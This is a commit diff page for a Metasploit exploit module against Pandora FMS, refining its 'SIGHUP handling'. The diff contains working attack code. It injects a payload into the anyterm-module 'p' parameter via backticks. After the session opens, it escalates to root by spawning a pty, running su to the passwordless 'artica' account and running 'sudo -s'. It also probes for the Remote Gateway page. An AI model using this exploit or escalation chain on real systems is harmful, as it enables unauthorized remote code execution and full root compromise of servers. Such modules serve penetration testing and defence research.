Skip to content

Commit 4236abe

Browse files
committed
Better SIGHUP handling
1 parent 50f8607 commit 4236abe

File tree

1 file changed

+18
-13
lines changed

1 file changed

+18
-13
lines changed

modules/exploits/linux/http/pandora_fms_exec.rb

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -59,16 +59,22 @@ def initialize(info={})
5959

6060
def on_new_session(client)
6161
print_status("#{peer} - Trying to escalate privileges to root")
62-
# Spawn a pty for su/sudo
63-
client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'")
64-
# Su to the passwordless "artica" account
65-
client.shell_command_token("su - artica")
66-
# The "artica" use has sudo rights without the need for a password, thus gain root priveleges
67-
client.shell_command_token("sudo -s")
68-
end
62+
[
63+
# ignore SIGHUP so the server doesn't kill our root shell
64+
"trap '' HUP",
65+
# Spawn a pty for su/sudo
66+
"python -c 'import pty;pty.spawn(\"/bin/sh\")'",
67+
# Su to the passwordless "artica" account
68+
"su - artica",
69+
# The "artica" use has sudo rights without the need for a
70+
# password, thus gain root priveleges
71+
"sudo -s",
72+
].each do |command|
73+
vprint_status(command)
74+
client.shell_write(command + "\n")
75+
end
6976

70-
def peer
71-
return "#{rhost}:#{rport}"
77+
super
7278
end
7379

7480
def check
@@ -80,7 +86,7 @@ def check
8086
'uri' => normalize_uri(target_uri.path, "anyterm.html")
8187
})
8288

83-
if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/
89+
if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
8490
print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
8591
return Exploit::CheckCode::Detected
8692
end
@@ -95,14 +101,13 @@ def exploit
95101
'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
96102
'vars_post' => {
97103
'a' => "open",
98-
'p' => "`nohup #{payload.encoded}`"
104+
'p' => "`#{payload.encoded}`"
99105
}
100106
})
101107

102-
if not res or res.code != 200
108+
if !res || res.code != 200
103109
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
104110
end
105-
106111
end
107112

108113
end

0 commit comments

Comments
 (0)